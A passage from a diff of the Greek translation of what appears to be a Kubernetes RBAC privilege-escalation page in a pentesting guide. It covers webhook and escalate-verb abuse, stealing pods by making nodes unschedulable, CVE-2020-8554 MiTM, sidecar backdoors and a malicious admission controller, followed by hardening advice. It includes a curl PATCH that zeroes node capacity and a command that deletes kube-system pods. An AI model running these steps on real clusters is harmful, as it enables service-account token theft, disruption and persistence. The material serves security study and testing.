μπορέσουν να **αναβαθμίσουν τις άδειες**. +Principals με οποιοδήποτε από τα ρήματα `create`, `update` ή `patch` πάνω σε `validatingwebhookconfigurations` ή `mutatingwebhookconfigurations` μπορεί να είναι σε θέση να **δημιουργήσουν μία από αυτές τις webhookconfigurations** προκειμένου να μπορέσουν να **αναβαθμίσουν τα δικαιώματα**. Για ένα [`mutatingwebhookconfigurations` παράδειγμα ελέγξτε αυτή την ενότητα της ανάρτησης](#malicious-admission-controller). ### Escalate -Όπως μπορείτε να διαβάσετε στην επόμενη ενότητα: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), ένας principal δεν μπορεί να ενημερώσει ούτε να δημιουργήσει ρόλους ή clusterroles χωρίς να έχει ο ίδιος αυτές τις νέες άδειες. Εκτός αν έχει το **ρήμα `escalate`** πάνω σε **`roles`** ή **`clusterroles`**.\ +Όπως μπορείτε να διαβάσετε στην επόμενη ενότητα: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), ένας principal δεν μπορεί να ενημερώσει ούτε να δημιουργήσει ρόλους ή clusterroles χωρίς να έχει ο ίδιος αυτές τις νέες άδειες. Εκτός αν έχει το **ρήμα `escalate` ή `*`** πάνω σε **`roles`** ή **`clusterroles`** και τις αντίστοιχες επιλογές binding.\ Τότε μπορεί να ενημερώσει/δημιουργήσει νέους ρόλους, clusterroles με καλύτερες άδειες από αυτές που έχει. ### Nodes proxy -Principals με πρόσβαση στο **`nodes/proxy`** υποπόρο μπορούν να **εκτελούν κώδικα σε pods** μέσω του Kubelet API (σύμφωνα με [**αυτό**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Περισσότερες πληροφορίες σχετικά με την αυθεντικοποίηση Kubelet σε αυτή τη σελίδα: +Principals με πρόσβαση στο **`nodes/proxy`** υποπόρο μπορούν να **εκτελέσουν κώδικα σε pods** μέσω του Kubelet API (σύμφωνα με [**αυτό**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Περισσότερες πληροφορίες σχετικά με την αυθεντικοποίηση Kubelet σε αυτή τη σελίδα: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -527,7 +569,7 @@ Principals με πρόσβαση στο **`nodes/proxy`** υποπόρο μπο ### Delete pods + unschedulable nodes -Principals που μπορούν να **διαγράψουν pods** (`delete` ρήμα πάνω σε `pods` πόρο), ή **να εκδιώξουν pods** (`create` ρήμα πάνω σε `pods/eviction` πόρο), ή **να αλλάξουν την κατάσταση του pod** (πρόσβαση σε `pods/status`) και μπορούν να **κάνουν άλλα nodes μη προγραμματίσιμα** (πρόσβαση σε `nodes/status`) ή **να διαγράψουν nodes** (`delete` ρήμα πάνω σε `nodes` πόρο) και έχουν έλεγχο πάνω σε ένα pod, θα μπορούσαν να **κλέψουν pods από άλλα nodes** ώστε να **εκτελούνται** στο **συμβιβασμένο** **node** και ο επιτιθέμενος μπορεί να **κλέψει τα tokens** από αυτά τα pods. +Principals που μπορούν να **διαγράψουν pods** (`delete` ρήμα πάνω σε `pods` πόρο), ή **να εκδιώξουν pods** (`create` ρήμα πάνω σε `pods/eviction` πόρο), ή **να αλλάξουν την κατάσταση του pod** (πρόσβαση σε `pods/status`) και μπορούν **να κάνουν άλλα nodes unschedulable** (πρόσβαση σε `nodes/status`) ή **να διαγράψουν nodes** (`delete` ρήμα πάνω σε `nodes` πόρο) και έχουν έλεγχο πάνω σε ένα pod, θα μπορούσαν να **κλέψουν pods από άλλα nodes** ώστε να **εκτελούνται** στο **συμβιβασμένο** **node** και ο επιτιθέμενος μπορεί να **κλέψει τους tokens** από αυτά τα pods. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -540,11 +582,11 @@ kubectl delete pods -n kube-system ``` ### Κατάσταση Υπηρεσιών (CVE-2020-8554) -Οι κύριοι που μπορούν να **τροποποιήσουν** **`services/status`** μπορεί να ρυθμίσουν το πεδίο `status.loadBalancer.ingress.ip` για να εκμεταλλευτούν το **μη διορθωμένο CVE-2020-8554** και να ξεκινήσουν **MiTM επιθέσεις κατά του clus**ter. Οι περισσότερες μετρήσεις για το CVE-2020-8554 αποτρέπουν μόνο τις υπηρεσίες ExternalIP (σύμφωνα με [**αυτό**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Οι κύριοι που μπορούν να **τροποποιήσουν** **`services/status`** μπορεί να ρυθμίσουν το πεδίο `status.loadBalancer.ingress.ip` για να εκμεταλλευτούν το **μη διορθωμένο CVE-2020-8554** και να ξεκινήσουν **MiTM επιθέσεις κατά του cluster**. Οι περισσότερες μετρήσεις για το CVE-2020-8554 αποτρέπουν μόνο τις υπηρεσίες ExternalIP (σύμφωνα με [**αυτό**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). ### Κατάσταση Κόμβων και Pods -Οι κύριοι με **`update`** ή **`patch`** δικαιώματα πάνω σε `nodes/status` ή `pods/status`, θα μπορούσαν να τροποποιήσουν τις ετικέτες για να επηρεάσουν τους περιορισμούς προγραμματισμού που επιβάλλονται. +Οι κύριοι με **`update`** ή **`patch`** δικαιώματα πάνω σε `nodes/status` ή `pods/status`, θα μπορούσαν να τροποποιήσουν ετικέτες για να επηρεάσουν τους περιορισμούς προγραμματισμού που επιβάλλονται. ## Ενσωματωμένη Πρόληψη Κλιμάκωσης Προνομίων @@ -552,7 +594,7 @@ kubectl delete pods -n kube-system Αυτό το σύστημα διασφαλίζει ότι **οι χρήστες δεν μπορούν να αυξήσουν τα προνόμιά τους τροποποιώντας ρόλους ή δεσμεύσεις ρόλων**. Η επιβολή αυτού του κανόνα συμβαίνει σε επίπεδο API, παρέχοντας μια προστασία ακόμη και όταν ο RBAC authorizer είναι ανενεργός. -Ο κανόνας stipulates ότι ένας **χρήστης μπορεί να δημιουργήσει ή να ενημερώσει έναν ρόλο μόνο εάν κατέχει όλα τα δικαιώματα που περιλαμβάνει ο ρόλος**. Επιπλέον, το εύρος των υφιστάμενων δικαιωμάτων του χρήστη πρέπει να ευθυγραμμίζεται με αυτό του ρόλου που προσπαθεί να δημιουργήσει ή να τροποποιήσει: είτε σε επίπεδο cluster για ClusterRoles είτε περιορισμένο στην ίδια namespace (ή σε επίπεδο cluster) για Roles. +Ο κανόνας stipulates ότι ένας **χρήστης μπορεί να δημιουργήσει ή να ενημερώσει έναν ρόλο μόνο εάν κατέχει όλα τα δικαιώματα που περιλαμβάνει ο ρόλος**. Επιπλέον, το πεδίο των υπαρχόντων δικαιωμάτων του χρήστη πρέπει να ευθυγραμμίζεται με αυτό του ρόλου που προσπαθεί να δημιουργήσει ή να τροποποιήσει: είτε σε επίπεδο cluster για ClusterRoles είτε περιορισμένο στο ίδιο namespace (ή σε επίπεδο cluster) για Roles. > [!WARNING] > Υπάρχει μια εξαίρεση στον προηγούμενο κανόνα. Εάν ένας κύριος έχει το **ρήμα `escalate`** πάνω σε **`roles`** ή **`clusterroles`** μπορεί να αυξήσει τα προνόμια των ρόλων και των clusterroles ακόμη και χωρίς να έχει τα δικαιώματα ο ίδιος. @@ -570,55 +612,29 @@ kubectl delete pods -n kube-system Από προεπιλογή δεν υπάρχει κρυπτογράφηση στην επικοινωνία μεταξύ των pods. Αμοιβαία πιστοποίηση, αμφίδρομη, pod προς pod. -#### Δημιουργία μιας εφαρμογής proxy sidecar +#### Δημιουργία εφαρμογής proxy sidecar -Δημιουργήστε το .yaml -```bash -kubectl run app --image=bash --command -oyaml --dry-run=client > -- sh -c 'ping google.com' -``` -Επεξεργαστείτε το .yaml σας και προσθέστε τις μη σχολιασμένες γραμμές: +Ένα container sidecar αποτελείται απλώς από την προσθήκη ενός **δεύτερου (ή περισσότερων) container μέσα σε ένα pod**. + +Για παράδειγμα, το παρακάτω είναι μέρος της διαμόρφωσης ενός pod με 2 containers: ```yaml -#apiVersion: v1 -#kind: Pod -#metadata: -# name: security-context-demo -#spec: -# securityContext: -# runAsUser: 1000 -# runAsGroup: 3000 -# fsGroup: 2000 -# volumes: -# - name: sec-ctx-vol -# emptyDir: {} -# containers: -# - name: sec-ctx-demo -# image: busybox -command: -[ -"sh", -"-c", -"apt update && apt install iptables -y && iptables -L && sleep 1h", -] -securityContext: -capabilities: -add: ["NET_ADMIN"] -# volumeMounts: -# - name: sec-ctx-vol -# mountPath: /data/demo -# securityContext: -# allowPrivilegeEscalation: true -``` -Δείτε τα αρχεία καταγραφής του proxy: -```bash -kubectl logs app -C proxy +spec: +containers: +- name: main-application +image: nginx +- name: sidecar-container +image: busybox +command: ["sh","-c",""] ``` +Για παράδειγμα, για να προσθέσετε ένα backdoor σε ένα υπάρχον pod με ένα νέο container, μπορείτε απλά να προσθέσετε ένα νέο container στην προδιαγραφή. Σημειώστε ότι μπορείτε να **δώσετε περισσότερες άδειες** στο δεύτερο container που δεν θα έχει το πρώτο. + Περισσότερες πληροφορίες στο: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) ### Κακόβουλος Ελεγκτής Εισόδου -Ένας ελεγκτής εισόδου **παρεμβαίνει σε αιτήματα προς τον διακομιστή API του Kubernetes** πριν από την αποθήκευση του αντικειμένου, αλλά **μετά την πιστοποίηση** **και την εξουσιοδότηση** του αιτήματος. +Ένας ελεγκτής εισόδου **παρεμβαίνει σε αιτήματα προς τον διακομιστή API του Kubernetes** πριν από την αποθήκευση του αντικειμένου, αλλά **μετά την πιστοποίηση του αιτήματος** **και την εξουσιοδότηση**. -Εάν ένας επιτιθέμενος καταφέρει με κάποιο τρόπο να **εισάγει έναν Κακόβουλο Ελεγκτή Εισόδου**, θα είναι σε θέση να **τροποποιήσει ήδη πιστοποιημένα αιτήματα**. Έχοντας τη δυνατότητα να αποκτήσει προνόμια, και πιο συχνά να παραμείνει στον κόμβο. +Εάν ένας επιτιθέμενος καταφέρει με κάποιο τρόπο να **εισάγει έναν Ελεγκτή Εισόδου Μεταβολής**, θα είναι σε θέση να **τροποποιήσει ήδη πιστοποιημένα αιτήματα**. Έχοντας τη δυνατότητα να εκμεταλλευτεί πιθανώς, και πιο συχνά να παραμείνει στο cluster. **Παράδειγμα από** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -646,9 +662,9 @@ kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Όπως μπορείτε να δείτε στην παραπάνω εικόνα, προσπαθήσαμε να εκτελέσουμε την εικόνα `nginx`, αλλά η τελική εκτελούμενη εικόνα είναι `rewanthtammana/malicious-image`. Τι συνέβη μόλις τώρα!!; +Όπως μπορείτε να δείτε στην παραπάνω εικόνα, προσπαθήσαμε να εκτελέσουμε την εικόνα `nginx`, αλλά η τελική εκτελούμενη εικόνα είναι `rewanthtammana/malicious-image`. Τι συνέβη μόλις!!; -#### Technicalities +#### Τεχνικές λεπτομέρειες Το σενάριο `./deploy.sh` δημιουργεί έναν μεταβαλλόμενο ελεγκτή εισόδου webhook, ο οποίος τροποποιεί τα αιτήματα προς το Kubernetes API όπως καθορίζεται στις γραμμές ρύθμισης παραμέτρων του, επηρεάζοντας τα αποτελέσματα που παρατηρούνται: ``` @@ -670,18 +686,18 @@ Value: "rewanthtammana/malicious-image", ### **Απενεργοποίηση Αυτοματισμού των Tokens Λογαριασμού Υπηρεσίας** -- **Pods και Λογαριασμοί Υπηρεσίας**: Από προεπιλογή, τα pods τοποθετούν ένα token λογαριασμού υπηρεσίας. Για την ενίσχυση της ασφάλειας, το Kubernetes επιτρέπει την απενεργοποίηση αυτής της λειτουργίας αυτοματισμού. +- **Pods και Λογαριασμοί Υπηρεσίας**: Από προεπιλογή, τα pods τοποθετούν ένα token λογαριασμού υπηρεσίας. Για να ενισχυθεί η ασφάλεια, το Kubernetes επιτρέπει την απενεργοποίηση αυτής της λειτουργίας αυτοματισμού. - **Πώς να Εφαρμόσετε**: Ορίστε `automountServiceAccountToken: false` στη διαμόρφωση των λογαριασμών υπηρεσίας ή των pods από την έκδοση 1.6 του Kubernetes. ### **Περιοριστική Ανάθεση Χρηστών σε RoleBindings/ClusterRoleBindings** -- **Επιλεκτική Συμπερίληψη**: Βεβαιωθείτε ότι μόνο οι απαραίτητοι χρήστες περιλαμβάνονται σε RoleBindings ή ClusterRoleBindings. Ελέγχετε τακτικά και αφαιρείτε μη σχετικούς χρήστες για να διατηρείτε σφιχτή ασφάλεια. +- **Επιλεκτική Συμπερίληψη**: Βεβαιωθείτε ότι μόνο οι απαραίτητοι χρήστες περιλαμβάνονται σε RoleBindings ή ClusterRoleBindings. Ελέγχετε τακτικά και αφαιρέστε άσχετους χρήστες για να διατηρήσετε σφιχτή ασφάλεια. -### **Ρόλοι Ειδικά για Namespace σε Σύγκριση με Ρόλους Cluster-Wide** +### **Ρόλοι Συγκεκριμένοι σε Namespace Αντί Ρόλων Cluster-Wide** -- **Ρόλοι vs. ClusterRoles**: Προτιμήστε τη χρήση Ρόλων και RoleBindings για άδειες που σχετίζονται με namespace αντί για ClusterRoles και ClusterRoleBindings, που ισχύουν σε επίπεδο cluster. Αυτή η προσέγγιση προσφέρει πιο λεπτομερή έλεγχο και περιορίζει την έκταση των αδειών. +- **Ρόλοι vs. ClusterRoles**: Προτιμήστε τη χρήση Ρόλων και RoleBindings για άδειες συγκεκριμένες σε namespace αντί για ClusterRoles και ClusterRoleBindings, που ισχύουν σε επίπεδο cluster. Αυτή η προσέγγιση προσφέρει πιο λεπτομερή έλεγχο και περιορίζει την έκταση των αδειών. -### **Χρήση αυτοματοποιημένων εργαλείων** +### **Χρησιμοποιήστε αυτοματοποιημένα εργαλεία** {{#ref}} https://github.com/cyberark/KubiScan @@ -700,5 +716,7 @@ https://github.com/aquasecurity/kube-bench - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) +- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) +- [**https://kubenomicon.com/**](https://kubenomicon.com/) {{#include ../../../banners/hacktricks-training.md}}